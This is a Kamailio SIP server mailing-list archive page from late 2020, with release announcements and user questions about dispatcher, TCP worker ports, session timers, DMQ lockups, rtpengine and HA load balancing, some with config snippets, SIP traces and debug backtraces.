Kamailio v5.3.7 Released
by Daniel-Constantin Mierla 02 Nov '20

02 Nov '20

Hello, Kamailio SIP Server v5.3.7 stable release is out. This is a maintenance release of the latest stable branch, 5.3, that includes fixes since the release of v5.3.6. There is no change to database schema or configuration language structure that you have to do on previous installations of v5.3.x. Deployments running previous v5.3.x versions are strongly recommended to be upgraded to v5.3.7. Note that 5.3 is the second last stable branch, still officially maintained by Kamailio development team. The latest stable branch is 5.4, with v5.4.2 being release out of it. For more details about version 5.3.7 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2020/11/kamailio-v5-3-7-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Releasing Kamailio v5.3.7
by Daniel-Constantin Mierla 02 Nov '20

02 Nov '20

Hello, I am planning to release Kamailio v5.3.7 sometime next week, likely on Monday or Tuesday, this being the usual prior notice for heads up to identify issues not reported yet on bug tracker as well as the commits you are aware of that were not backported yet. Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 1

Missing refresher parameter in the Session-Expires header and Min-SE header
by Jose Figueroa 01 Nov '20

01 Nov '20

Hello everybody, I am trying an INVITE with a SBCs but fails, finding out it seems the Session-Expires doesn't include the param refresher= and according to this closed issue is already included https://github.com/kamailio/kamailio/issues/288 but I cannot achive this, I read the sst module documentation but I don't see anything related this parameter. So, in summary the SBC expects the following: Session-Expires: 1800; refresher=uac; Min-SE: 600 I set only: modparam("sst", "enable_stats", 1); modparam("dialog", "dlg_flag", 5) modparam("sst", "sst_flag", 6); modparam("sst", "min_se". 1800); Now on the invite I the setflag(); 5 and 6 so I see now the header Session-Expires: 1800 but not the refresher=uac; and also I don't see how to set the Min-SE:600 Could you please point me to the right direction? Any hint would be very helpful. -- Jose Figueroa Software Engineer

1 0

Confusion about TCP worker ports
by Noah Mehl 30 Oct '20

30 Oct '20

Hey all, I’m a little stuck on an implementation of a set of dispatchers via TCP. There are some oddities about the behavior of the TCP source port of the Kamailio tcp worker/s, and maybe this is expected, but it doesn’t seem valid. For instance, I have a dispatcher: "RECORDS": [{ "SET": { "ID": 1, "TARGETS": [{ "DEST": { "URI": “sip:2.2.2.2:5060;transport=tcp", "FLAGS": "AP", "PRIORITY": 5 } }] } }] But when Kamailio sends an OPTIONS keep alive, the source port for the worker is 33940, and not 5060 (which is the TCP listen port), as received by Freeswitch: recv 447 bytes from tcp/[1.1.1.1]:33940 at 18:58:24.958720: ------------------------------------------------------------------------ OPTIONS sip:2.2.2.2:5060;transport=tcp SIP/2.0 Via: SIP/2.0/TCP 1.1.1.1;branch=z9hG4bK1525.80a9e442000000000000000000000000.0 To: <sip:2.2.2.2:5060;transport=tcp> From: <sip:inbound-kamailio-01>;tag=3c52ba62ee4c4621b9660728159919d3-cda8066f CSeq: 10 OPTIONS Call-ID: 3aa18693487268dc-2790(a)1.1.1.1 Max-Forwards: 70 Content-Length: 0 User-Agent: kamailio (5.4.2 (x86_64/linux)) ------------------------------------------------------------------------ Also, I get weird debug messages when this tcp worker is spun up (specifically about Resource temporarily unavailable): 11(2790) DEBUG: dispatcher [dispatch.c:3340]: ds_ping_result_helper(): probe all, mode DS_PROBE_ALL 11(2790) DEBUG: dispatcher [dispatch.c:3383]: ds_ping_set(): probing set #1, URI sip:2.2.2.2:5060;transport=tcp 11(2790) DEBUG: dispatcher [dispatch.c:3414]: ds_ping_set(): Default ping_from: sip:inbound-kamailio-01 11(2790) DEBUG: dispatcher [dispatch.c:3424]: ds_ping_set(): Default outbound proxy: 11(2790) DEBUG: tm [uac.c:450]: t_uac_prepare(): next_hop=<sip:2.2.2.2:5060;transport=tcp> 11(2790) DEBUG: tm [uac.c:158]: dlg2hash(): hashid 21073 11(2790) DEBUG: <core> [core/tcp_main.c:1993]: tcp_send(): no open tcp connection found, opening new one 11(2790) DEBUG: <core> [core/ip_addr.c:229]: print_ip(): tcpconn_new: new tcp connection: 2.2.2.2 11(2790) DEBUG: <core> [core/tcp_main.c:1175]: tcpconn_new(): on port 5060, type 2, socket -1 11(2790) DEBUG: <core> [core/tcp_main.c:1494]: tcpconn_add(): hashes: 2712:0:0, 1 11(2790) DEBUG: <core> [core/tcp_main.c:2886]: tcpconn_1st_send(): pending write on new connection 0x7f24e64c1e18 sock 8 (-1/447 bytes written) (err: 11 - Resource temporarily unavailable) 11(2790) DEBUG: tm [uac.c:678]: send_prepared_request_impl(): uac: 0x7f24e65285a8 branch: 0 to 2.2.2.2:5060 11(2790) DEBUG: <core> [core/onsend.c:50]: run_onsend(): required parameters are not available - ignoring 27(2806) DEBUG: <core> [core/tcp_main.c:3792]: handle_ser_child(): read response= 7f24e64c1e18, 5, fd 46 from 11 (2790) 27(2806) DEBUG: <core> [core/io_wait.h:375]: io_watch_add(): DBG: io_watch_add(0x56490f0f8060, 46, 2, 0x7f24e64c1e18), fd_no=37 27(2806) DEBUG: <core> [core/io_wait.h:782]: io_watch_chg(): DBG: io_watch_chg (0x56490f0f8060, 46, 0x1, 0xffffffff) fd_no=38 called 27(2806) DEBUG: <core> [core/io_wait.h:600]: io_watch_del(): DBG: io_watch_del (0x56490f0f8060, 46, -1, 0x0) fd_no=38 called 27(2806) DEBUG: <core> [core/tcp_main.c:4457]: handle_tcpconn_ev(): sending to child, events 1 27(2806) DEBUG: <core> [core/tcp_main.c:4127]: send2child(): selected tcp worker idx:0 proc:19 pid:2798 for activity on [tcp:1.1.1.1:5060], 0x7f24e64c1e18 19(2798) DEBUG: <core> [core/tcp_read.c:1749]: handle_io(): received n=8 con=0x7f24e64c1e18, fd=8 19(2798) DEBUG: <core> [core/tcp_read.c:1548]: tcp_read_req(): content-length=0 19(2798) DEBUG: <core> [core/parser/msg_parser.c:620]: parse_msg(): SIP Reply (status): 19(2798) DEBUG: <core> [core/parser/msg_parser.c:622]: parse_msg(): version: <SIP/2.0> 19(2798) DEBUG: <core> [core/parser/msg_parser.c:624]: parse_msg(): status: <200> 19(2798) DEBUG: <core> [core/parser/msg_parser.c:626]: parse_msg(): reason: <OK> 19(2798) DEBUG: <core> [core/parser/parse_via.c:1303]: parse_via_param(): Found param type 232, <branch> = <z9hG4bK1525.80a9e442000000000000000000000000.0>; state=6 19(2798) DEBUG: <core> [core/parser/parse_via.c:1303]: parse_via_param(): Found param type 235, <rport> = <33940>; state=16 19(2798) DEBUG: <core> [core/parser/parse_via.c:2639]: parse_via(): end of header reached, state=5 19(2798) DEBUG: <core> [core/parser/msg_parser.c:498]: parse_headers(): Via found, flags=2 19(2798) DEBUG: <core> [core/parser/msg_parser.c:500]: parse_headers(): this is the first via 19(2798) DEBUG: <core> [core/parser/parse_addr_spec.c:185]: parse_to_param(): add param: tag=1mB9HryQ8ZBFc 19(2798) DEBUG: <core> [core/parser/parse_addr_spec.c:864]: parse_addr_spec(): end of header reached, state=29 19(2798) DEBUG: <core> [core/parser/msg_parser.c:171]: get_hdr_field(): <To> [59]; uri=[sip:2.2.2.2:5060;transport=tcp] 19(2798) DEBUG: <core> [core/parser/msg_parser.c:174]: get_hdr_field(): to body (39)[<sip:2.2.2.2:5060;transport=tcp>], to tag (13)[1mB9HryQ8ZBFc] 19(2798) DEBUG: <core> [core/parser/msg_parser.c:152]: get_hdr_field(): cseq <CSeq>: <10> <OPTIONS> 19(2798) DEBUG: <core> [core/receive.c:319]: receive_msg(): --- received sip message - reply - call-id: [3aa18693487268dc-2790(a)1.1.1.1] - cseq: [10 OPTIONS] 19(2798) DEBUG: <core> [core/parser/msg_parser.c:185]: get_hdr_field(): content_length=0 19(2798) DEBUG: <core> [core/parser/msg_parser.c:89]: get_hdr_field(): found end of header Are these SIP messages expected to come from other ports than the listen port (5060 in this case)? Also, if the worker source port is not 5060, shouldn’t the SIP message get updated with the correct port? In the case of OPTIONS, Freeswitch is replying correctly to the source port: 33940. However, in the case of an in dialog BYE, Freeswitch is NOT replying to the source port of the Kamailio messages, but only to port 5060. Here is an example (relayed from web sockets to freeswitch over TCP) INVITE (as received from Freeswitch): recv 1481 bytes from tcp/[1.1.1.1]:33940 at 16:56:47.920698: ------------------------------------------------------------------------ INVITE sip:991012@sip.domain <sip:991012@sip.domain>.com SIP/2.0 Record-Route: <sip:1.1.1.1;transport=tcp;r2=on;lr;nat=yes> Record-Route: <sip:1.1.1.1:5061;transport=tls;r2=on;lr;nat=yes> Via: SIP/2.0/TCP 1.1.1.1;branch=z9hG4bKd408.3f53e940ccb20c1033df4b3a8ebd8a34.0;i=1 Via: SIP/2.0/TLS 172.22.199.110:55304;received=5.5.5.5;rport=39518;branch=z9hG4bKPj5Css6JomCt9Cli2cCINbXi4FbPM5wewG;alias Max-Forwards: 69 From: "Noah Mehl" <sip:5135555555@inbound-jail>;tag=s3i3y2tiOCgnUId5TD4Vp0UChf9GyEy9 To: <sip:991012@inbound-jail> Contact: <sip:74895612@172.22.199.110:54887;transport=tls;alias=5.5.5.5~39518~3> Call-ID: 5aoRBMBHahxqSLzrIpFnlfRz.UcGsmfq CSeq: 27271 INVITE Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, BYE, CANCEL, UPDATE, MESSAGE, REFER Supported: replaces, norefersub, gruu User-Agent: Blink Pro 4.6.0 (MacOSX) Content-Type: application/sdp Content-Length: 528 v=0 o=- 3812979407 3812979407 IN IP4 5.5.5.5 s=Blink Pro 4.6.0 (MacOSX) t=0 0 m=audio 50016 RTP/SAVP 113 0 101 c=IN IP4 5.5.5.5 a=rtcp:50017 a=rtpmap:113 opus/48000/2 a=fmtp:113 useinbandfec=1 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=crypto:1 AES_CM_128_HMAC_SHA1_80 inline:UhHq6hth9HqALmiJ3AEeoGkixObBzkLURG60wJKT a=crypto:2 AES_CM_128_HMAC_SHA1_32 inline:VKYaSCVwgvXCPaRvudTrgLORhWmOA7wyDJVeGjcu a=sendrecv a=oldmediaip:172.22.199.110 a=oldmediaip:172.22.199.110 ------------------------------------------------------------------------ This doesn’t seem valid, as the top Via doesn’t have a port specified? For reference, just rebuilt form the 5.4 branch today: commit 62dff5b8b157236cae7defe64291a6e4a8ae27b5 (upstream/5.4) Author: Kamailio Dev <kamailio.dev(a)kamailio.org> Date: Wed Oct 28 20:16:28 2020 +0100 modules: readme files regenerated - modules ... [skip ci] Thanks! ~Noah

6 19

Double port in TO header
by David Villasmil 30 Oct '20

30 Oct '20

Hello guys, This happened to me a long time ago but i totally forgot the reason. I using a simple dispatcher, and when relaying out to the destination, kamailio is adding an additional :5060 port to the To header: To: <sip:910609738@172.31.6.1:5080:5060> The Destination is actually 172.16.6.1:5080, i don't know why Kamailio is adding that :5060 The dispatcher is if (!ds_select_dst($var(dispatcher_outbound), "4")) { xlog("[DISPATCH]: ds_select_dst FAILED!\n"); send_reply("404", "No destination"); exit; } else { xlog("[DISPATCH]: ds_select_dst was succesful\n"); } xlog("L_DBG", "[DISPATCH]: going to <$ru> via <$du>\n"); t_on_failure("RTF_DISPATCH"); route(RELAY); Any ideas? I totally forgot... and it's late, i guess... Thanks! David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

2 8

Re: [SR-Users] Building db_postgres with PostgreSQL headers and libs in non-standard location
by Chaigneau, Nicolas 30 Oct '20

30 Oct '20

Perfect, that's what I was looking for. :) Thanks! > This is what I have always done: > > # export PATH=$PATH:/usr/pgsql-${MAJOR_VER}/bin > # cd src/modules/db_postgres > # make install > > The `pg_config` utility in /usr/pgsql-${MAJOR_VER}/bin ensures that the proper header include path is supplied. > > -- Alex This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

1 0

Building db_postgres with PostgreSQL headers and libs in non-standard location
by Chaigneau, Nicolas 29 Oct '20

29 Oct '20

Hello, I'd like to build Kamailio module db_postgres, with the PostgreSQL headers and libs in a non-standard location. I'm trying to figure out how to do that, if it's possible, without having to edit db_postgres/Makefile. I see in the Makefile that it's trying to find the files relative to $(LOCALBASE): # use standard know paths # libpq-fe.h locations DEFS +=-I$(LOCALBASE)/include -I$(LOCALBASE)/pgsql/include \ -I$(SYSBASE)/include/pgsql -I$(SYSBASE)/include/postgresql \ -I$(SYSBASE)/include/postgresql/8.0 LIBS +=-L$(LOCALBASE)/lib -L$(LOCALBASE)/pgsql/lib \ -L$(LOCALBASE)/lib/pgsql -lpq However, LOCALBASE (which defaults to /usr/local) is used for many things other than PostgreSQL, so changing that is not a great idea, I think... Any idea ? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

2 2

www.kamailio.org maintenance on 29th October 2020, 10:00 CET
by Henning Westerholt 29 Oct '20

29 Oct '20

Hello, there will be a short planned maintenance on www.kamailio.org<http://www.kamailio.org> on 29th October 2020 at 10:00 CET. Relevant services including main homepage and documentation wiki will be unavailable for about 10-15 minutes. Best regards, Henning -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

1 1

Kamailio unresponsive with Dialog+DMQ
by Patrick Wakano 28 Oct '20

28 Oct '20

Hello list, Hope all are doing well! We are running load tests in our Kamailio server, that is just making inbound and outbound calls and eventually (there is no identified pattern) Kamailio freezes and of course all calls start to fail. It does not crash, it just stops responding and it has to be killed -9. When this happens, SIP messages are not processed, dmq keepalive fails (so the other node reports as down), dialog KA are not sent, but Registrations from UAC seem to still go out (logs from local_route are seen). We don't have a high amount of cps, it is max 3 or 4 per sec, and it gets around 1900 active calls. We are now using Kamailio 5.2.8 installed from the repo on a CentOS7 server. Dialog has KA active and DMQ (with 2 workers) is being used on an active-active instance. >From investigation using GDB as pasted below, I can see UDP workers are stuck on a lock either on a callback from t_relay... #0 0x00007ffb74e9bbf9 in syscall () from /lib64/libc.so.6 #1 0x00007ffb2b1bce08 in futex_get (lock=0x7ffb35217b90) at ../../core/futexlock.h:108 #2 0x00007ffb2b1bec44 in bcast_dmq_message1 (peer=0x7ffb35e8bf38, body=0x7fff2e95ffb0, except=0x0, resp_cback=0x7ffb2a8a0ab0 <dlg_dmq_resp_callback>, max_forwards=1, content_type=0x7ffb2a8a0a70 <dlg_dmq_content_type>, incl_inactive=0) at dmq_funcs.c:156 #3 0x00007ffb2b1bf46b in bcast_dmq_message (peer=0x7ffb35e8bf38, body=0x7fff2e95ffb0, except=0x0, resp_cback=0x7ffb2a8a0ab0 <dlg_dmq_resp_callback>, max_forwards=1, content_type=0x7ffb2a8a0a70 <dlg_dmq_content_type>) at dmq_funcs.c:188 #4 0x00007ffb2a6448fa in dlg_dmq_send (body=0x7fff2e95ffb0, node=0x0) at dlg_dmq.c:88 #5 0x00007ffb2a64da5d in dlg_dmq_replicate_action (action=DLG_DMQ_UPDATE, dlg=0x7ffb362ea3c8, needlock=1, node=0x0) at dlg_dmq.c:628 #6 0x00007ffb2a61f28e in dlg_on_send (t=0x7ffb36c98120, type=16, param=0x7fff2e9601e0) at dlg_handlers.c:739 #7 0x00007ffb2ef285b6 in run_trans_callbacks_internal (cb_lst=0x7ffb36c98198, type=16, trans=0x7ffb36c98120, params=0x7fff2e9601e0) at t_hooks.c:260 #8 0x00007ffb2ef286d0 in run_trans_callbacks (type=16, trans=0x7ffb36c98120, req=0x7ffb742f27e0, rpl=0x0, code=-1) at t_hooks.c:287 #9 0x00007ffb2ef38ac1 in prepare_new_uac (t=0x7ffb36c98120, i_req=0x7ffb742f27e0, branch=0, uri=0x7fff2e9603e0, path=0x7fff2e9603c0, next_hop=0x7ffb742f2a58, fsocket=0x7ffb73e3e968, snd_flags=..., fproto=0, flags=2, instance=0x7fff2e9603b0, ruid=0x7fff2e9603a0, location_ua=0x7fff2e960390) at t_fwd.c:381 #10 0x00007ffb2ef3d02d in add_uac (t=0x7ffb36c98120, request=0x7ffb742f27e0, uri=0x7ffb742f2a58, next_hop=0x7ffb742f2a58, path=0x7ffb742f2e20, proxy=0x0, fsocket=0x7ffb73e3e968, snd_flags=..., proto=0, flags=2, instance=0x7ffb742f2e30, ruid=0x7ffb742f2e48, location_ua=0x7ffb742f2e58) at t_fwd.c:811 #11 0x00007ffb2ef4535a in t_forward_nonack (t=0x7ffb36c98120, p_msg=0x7ffb742f27e0, proxy=0x0, proto=0) at t_fwd.c:1699 #12 0x00007ffb2ef20505 in t_relay_to (p_msg=0x7ffb742f27e0, proxy=0x0, proto=0, replicate=0) at t_funcs.c:334 or loose_route... #0 0x00007ffb74e9bbf9 in syscall () from /lib64/libc.so.6 #1 0x00007ffb2b1bce08 in futex_get (lock=0x7ffb35217b90) at ../../core/futexlock.h:108 #2 0x00007ffb2b1bec44 in bcast_dmq_message1 (peer=0x7ffb35e8bf38, body=0x7fff2e9629d0, except=0x0, resp_cback=0x7ffb2a8a0ab0 <dlg_dmq_resp_callback>, max_forwards=1, content_type=0x7ffb2a8a0a70 <dlg_dmq_content_type>, incl_inactive=0) at dmq_funcs.c:156 #3 0x00007ffb2b1bf46b in bcast_dmq_message (peer=0x7ffb35e8bf38, body=0x7fff2e9629d0, except=0x0, resp_cback=0x7ffb2a8a0ab0 <dlg_dmq_resp_callback>, max_forwards=1, content_type=0x7ffb2a8a0a70 <dlg_dmq_content_type>) at dmq_funcs.c:188 #4 0x00007ffb2a6448fa in dlg_dmq_send (body=0x7fff2e9629d0, node=0x0) at dlg_dmq.c:88 #5 0x00007ffb2a64da5d in dlg_dmq_replicate_action (action=DLG_DMQ_STATE, dlg=0x7ffb363e0c10, needlock=0, node=0x0) at dlg_dmq.c:628 #6 0x00007ffb2a62b3bf in dlg_onroute (req=0x7ffb742f11d0, route_params=0x7fff2e962ce0, param=0x0) at dlg_handlers.c:1538 #7 0x00007ffb2e7db203 in run_rr_callbacks (req=0x7ffb742f11d0, rr_param=0x7fff2e962d80) at rr_cb.c:96 #8 0x00007ffb2e7eb2f9 in after_loose (_m=0x7ffb742f11d0, preloaded=0) at loose.c:945 #9 0x00007ffb2e7eb990 in loose_route (_m=0x7ffb742f11d0) at loose.c:979 or t_check_trans: #0 0x00007ffb74e9bbf9 in syscall () from /lib64/libc.so.6 #1 0x00007ffb2a5ea9c6 in futex_get (lock=0x7ffb35e78804) at ../../core/futexlock.h:108 #2 0x00007ffb2a5f1c46 in dlg_lookup_mode (h_entry=1609, h_id=59882, lmode=0) at dlg_hash.c:709 #3 0x00007ffb2a5f27aa in dlg_get_by_iuid (diuid=0x7ffb36326bd0) at dlg_hash.c:777 #4 0x00007ffb2a61ba1d in dlg_onreply (t=0x7ffb36952988, type=2, param=0x7fff2e963bf0) at dlg_handlers.c:437 #5 0x00007ffb2ef285b6 in run_trans_callbacks_internal (cb_lst=0x7ffb36952a00, type=2, trans=0x7ffb36952988, params=0x7fff2e963bf0) at t_hooks .c:260 #6 0x00007ffb2ef286d0 in run_trans_callbacks (type=2, trans=0x7ffb36952988, req=0x7ffb3675c360, rpl=0x7ffb742f1930, code=200) at t_hooks.c:28 7 #7 0x00007ffb2ee7037f in t_reply_matching (p_msg=0x7ffb742f1930, p_branch=0x7fff2e963ebc) at t_lookup.c:997 #8 0x00007ffb2ee725e4 in t_check_msg (p_msg=0x7ffb742f1930, param_branch=0x7fff2e963ebc) at t_lookup.c:1101 #9 0x00007ffb2eee44c7 in t_check_trans (msg=0x7ffb742f1930) at tm.c:2351 And the DMQ workers are here: #0 0x00007ffb74e9bbf9 in syscall () from /lib64/libc.so.6 #1 0x00007ffb2b1d6c81 in futex_get (lock=0x7ffb35217c34) at ../../core/futexlock.h:108 #2 0x00007ffb2b1d7c3a in worker_loop (id=1) at worker.c:86 #3 0x00007ffb2b1d5d35 in child_init (rank=0) at dmq.c:300 Currently I will not be able to upgrade to latest 5.4 version to try to reproduce the error and since 5.2.8 has already reached end-of-life, maybe is there anything I can do on the configuration to avoid such condition? Any ideas are welcome! Kind regards, Patrick Wakano

3 6

Kamailio v5.4.2 Released
by Daniel-Constantin Mierla 27 Oct '20

27 Oct '20

Hello, Kamailio SIP Server v5.4.2 stable release is out. This is a maintenance release of the latest stable branch, 5.4, that includes fixes since the release of v5.4.1. There is no change to database schema or configuration language structure that you have to do on previous installations of v5.4.x. Deployments running previous v5.4.x versions are strongly recommended to be upgraded to v5.4.1. For more details about version 5.4.2 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2020/10/kamailio-v5-4-2-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Releasing Kamailio v5.4.2
by Daniel-Constantin Mierla 27 Oct '20

27 Oct '20

Hello, I am considering to release Kamailio v5.4.2 sometime next week, likely on Tuesday, October 27, 2020. This is the usual heads up notification to see if anyone is aware of issues not yet reported to bug tracker and if yes, do it as soon as possible to give them a chance to be fixed. Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla

1 1

KEMI and Native mixing
by Marcin Kowalczyk 26 Oct '20

26 Oct '20

Hi, Is it possible to mix both KEMI (lua) and Native configs in one kamailio instance? So some blocks are called from native script and some others from KEMI (lua)? Marcin

6 5

Kamailio-5.x and Asterisk16.X Integration Walkthrough Videos or Wikis
by Lorem Ipsum 26 Oct '20

26 Oct '20

Hi there, After reading about Kamailio, i like this project but i am having trouble finding the wikis or step by step guide to successfully integrate asterisk with kamailio for simple use case where phones register to the asterisk pbx via kamailio and make/receive calls to ITSP, there is no proper documentation on 2 products integration, really appreciated your guidance and if somebody could provide me the step by step guide. Looking forward to the guides.

2 1

I want to write function in group module but i could not
by ahmed moghazy 25 Oct '20

25 Oct '20

I have 2 function first If(is_user_in(“Request-URI”, ”ld”)){ ..... } So i dont know what to do , second If(get_user_group(“Request-URI”, ”$avp(i:10)”){ ... } I put users in 2 groups but they could call each others but i dont want that . Any help please , Thank you.

1 0

Re: [SR-Users] Load balance on HA scenario
by Yufei Tao 22 Oct '20

22 Oct '20

Hi Duarte, I'm not sure if your situation is more complicated than mine. I have two dispatcher nodes in the HA setup, with real IPs say IPa, IPb. They share a floating/virtual IP, let's call it VIP. Both nodes listen to the VIP (not its real IP), and use the VIP as the dispatcher's socket. In this case the master node which has the VIP can always send OPTIONS pings fine. My problem was with the backup node, which doesn't have the VIP so fails to send OPTIONS pings. Joel Serrano gave a good suggestion: both nodes start up with polling disabled, and only when a node turns master it enables the polling. This has solved my problem. Cheers, Yufei

1 0

Incoming DID calls routing to subscriber
by Jose N Figueroa 22 Oct '20

22 Oct '20

Hello everybody, I'm trying to route incoming calls to kamailio with specific subscriber but I can't make it working. The complete scenario is: SoftSwith -> kamailio 5.3 -> zoiper What i'm trying to do is to receive a call into the zoiper when I dial specific DID which is already coming into the kamailio. It goes until the routing from kamilio to the subscriber account but it keeps in INVITE command, no response from the subscriber. Any help would be great! This is what I've been trying but no luck yet: if($rdir(name)=="downstream") { xlog("DID request was incoming call, called number: $rU caller_id: $fU and source_ip $si \n"); $sht(rtpProxy=>mip_$ci)=1; # We should take the called_number as username in table # Also validate if the number has active that DID, balance if needed, etc. # route(validate_customer); # I know, hardcoded for testing sql_xquery("ca", "select * from location where username = 1212 ", "ra"); $avp(location_addr) = $xavp(ra=>received); xlog("DID did_incoming location is $xavp(ra=>received) \n"); # Validate SIP OK #setflag(SIP_IP_OK); #$rU=$avp(dnis); #$rd=$avp(identity); #$rp=$avp(port); # uac_replace_to($xavp(ra=>contact)); uac_replace_to("sip:1212@voip.x.net:5060"); # $ru = $var(duri); $ru=$xavp(ra=>contact); $ru="sip:1212@voip.x.net:5060"; route(RELAY); # t_on_failure("dst_failure"); # t_on_reply("dst_reply"); if(!t_relay()) { sl_reply_error(); exit; } exit; } -- Regards, Jose N Figueroa

3 3

Load balance on HA scenario
by Duarte Rocha 21 Oct '20

21 Oct '20

Greetings, I have two machines with Kamailio in a HA setup with replicated DB. For simplicity let's say each machine has one HA IP and that IP can jump to the other machine in case something happens (kamailio stopping, etc). I'm using Dispatcher with load balance configuration. I have Dispatcher configured so that each peer has one instance for socket with HA IP 1 and HA IP 2. In order for this to work correctly on the load balance scenario I must disable via RPC command the peer which has the socket that doesn't belong to the machine. I also must do it every time the IP jumps back and forth, which adds complexety to my system. Does Dispatcher has any sort of help on this? It could not include peers with sockets IPs that don't belong to the machine in the destination set, for example. Is this possible? I could also work with failover support but i would rather avoid having so many failovers. Best Regards,A

3 8

kamailio RTP Engine in kubernetes pods
by Pavithra Mohanraja 21 Oct '20

21 Oct '20

Hi, I have installed rtp engine inside pcscf pod and tried to make a call. caller was unable to reach the pod environment with 2223 port exposed for rtp. Kindly anyone help, if you have already done with pod based deployment of ims. Thanks, Pavithra

4 7

Kamailio + rtpengine
by Amit Pal 21 Oct '20

21 Oct '20

Hi, I have using kamailio with rtpengine, I have started rtpengine session (rtpengine_offer() /rtpengine_answer() )only when call getting hold and then play media file and on un hold detach rtpengine session(rtpengine_delete()). during this activity I have received the log "No supported output codec found in SDP" from rtpengine. And getting silence on other leg. Above activity log are attach in mail. if we do same step again (i.e. hold/unhold) in same call then second leg listening the file perfectly and rtpengine working fine vice-versa. I want to know , what else missing to configure here. Pls guide me to get out this. Regards Amit Pal

2 1

How to read "duid" from dispatcher.list in kamamilio.cfg
by Jani Biju Babjan 21 Oct '20

21 Oct '20

Hi, I have a dispatcher.list file like the following: 1 sip:127.0.0.1:5060 0 0 duid=abcd;maxload=5 1 sip:127.0.0.2:5060 0 0 duid=efgh;maxload=5 After calling the ds_select_dst("1", "4") function(ie, round-robin selection), I want to read the value of the "duid" attribute of the selected destination and then pass it to a database. How can I read this value in the configuration file? Jani Biju Babjan

2 2

Re: [SR-Users] Load balance on HA scenario
by Yufei Tao 21 Oct '20

21 Oct '20

Hi Joel, Thanks for the tip! Having the pings disabled and enable it on HA status being master sounds like a good idea :) Cheers, Yufei

1 0

ERROR: <core> [core/socket_info.c:2225]: parse_protohostport():
by Andy Kama 20 Oct '20

20 Oct '20

I am seeing this error in the logs i am using kamailio 5.4.1 any idea what the cause is? ERROR: <core> [core/socket_info.c:2225]: parse_protohostport(): bad protocol in sip:myp:5060

2 4

Re: [SR-Users] Load balance on HA scenario
by Yufei Tao 20 Oct '20

20 Oct '20

Hi Duarte, Not sure if I understand it correctly but are you trying to set up an HA pair of dispatchers? If so I am doing it differently in that, I use the Virtual/floating IP (VIP) as socket. This way the master node (which has got the VIP) can send OPTIONs pings out fine but the backup node won't be able to send. Functionally it is fine, but the backup node keeps logging errors because it doesn't have the VIP: ERROR: <core> [core/udp_server.c:599]: udp_send(): sendto(sock, buf: 0x7f0e6b54e2e0, len: 372, 0, dst: (192.168.213.143:5060), tolen: 16) - err: Network is unreachable (101) ERROR: tm [../../core/forward.h:231]: msg_send_buffer(): udp_send failed When FO happens, the backup node becomes master and takes the VIP, and it functions correctly. But I haven't worked out how to avoid the ERROR loggings on the backup node. Maybe someone else has any better ideas/suggestions? Cheers, Yufei

2 1

No retry on INVITE
by Allan Kristensen 20 Oct '20

20 Oct '20

Hello, I'm trying to get Kamailio to retry INVITE. We have a Freeswitch which is sending INVITE to a sip user via Kamailio proxy using static ip/location. All is well, calls are flowing, but sometimes INVITE from kamailio to user is lost and no attempt to retry is occurring and so after 30 sec kamailio just returns 408 Request timeout. Call flow is like this: FS Kamailio User --- INVITE --> <-- 100 Trying --- INVITE ---> (Waiting 30 secs) <-- 408 Timeout --- ACK ---> So assume we have failed in handling retries somehow. Kamailio is running stateless, but other retries are working, so I assume this is not a problem? Can someone perhaps point us in the right direction on where to solve this? Kamailio is version 5.2.4 Thank you... /Allan

3 4

Re: [SR-Users] SRTP
by Yufei Tao 20 Oct '20

20 Oct '20

Hi, Like Olle said RTPEngine is perfectly capable of handling one leg in RTP the other in SRTP. When looking up RTPEngine's documentation, may be worth checking these out: SRTP SDES-unencrypted_srtp SDES-unencrypted_srtcp SDES-unauthenticated_srtp e.g. try apply these flags to rtpengin_offer() on the incoming RTP leg, to get RTPEngine to add encryption to the outgoing leg etc. Cheers, Yufei

1 0

Re: [SR-Users] Kamailio 5.2.5 - Need help with rtpengine error
by Yufei Tao 20 Oct '20

20 Oct '20

Hi Andrew, Like Alex said, have a look at the commands RTPEngine received and the responses it sent in the history of the call, and see if RTPEngine has ever received any commands regarding this call, or, if the call has been deleted from RTPEngine. You can raise the RTPEngine logging level to 6 for example so you can see the command/responses of RTPEngine. Cheers, Yufei

1 0

about registrar save()/lookup()
by Juha Heinanen 20 Oct '20

20 Oct '20

I didn't find any mention in registrar module README that save() function saves also branch flags and that lookup() retrieves them. Is that documented somewhere? -- Juha

3 5

dialog_active_dialogs erroneous value
by Sergiu Pojoga 20 Oct '20

20 Oct '20

Hi there, Every now and then, the value of active dialogs metric spikes to an erroneous huge number, messing up my otherwise beautiful grafana gauges :( Example: kamailio_dialog_active_dialogs 18446744073709551614 1602812239115 kamailio_dialog_early_dialogs 0 1602812239115 kamailio_dialog_expired_dialogs 2 1602812239115 kamailio_dialog_failed_dialogs 7361 1602812239115 Anybody faced the same symptoms, any clues what might be causing this? Thanks, --Sergiu

3 6

TOPOS module and fix_nated_contact
by Minh Phan 19 Oct '20

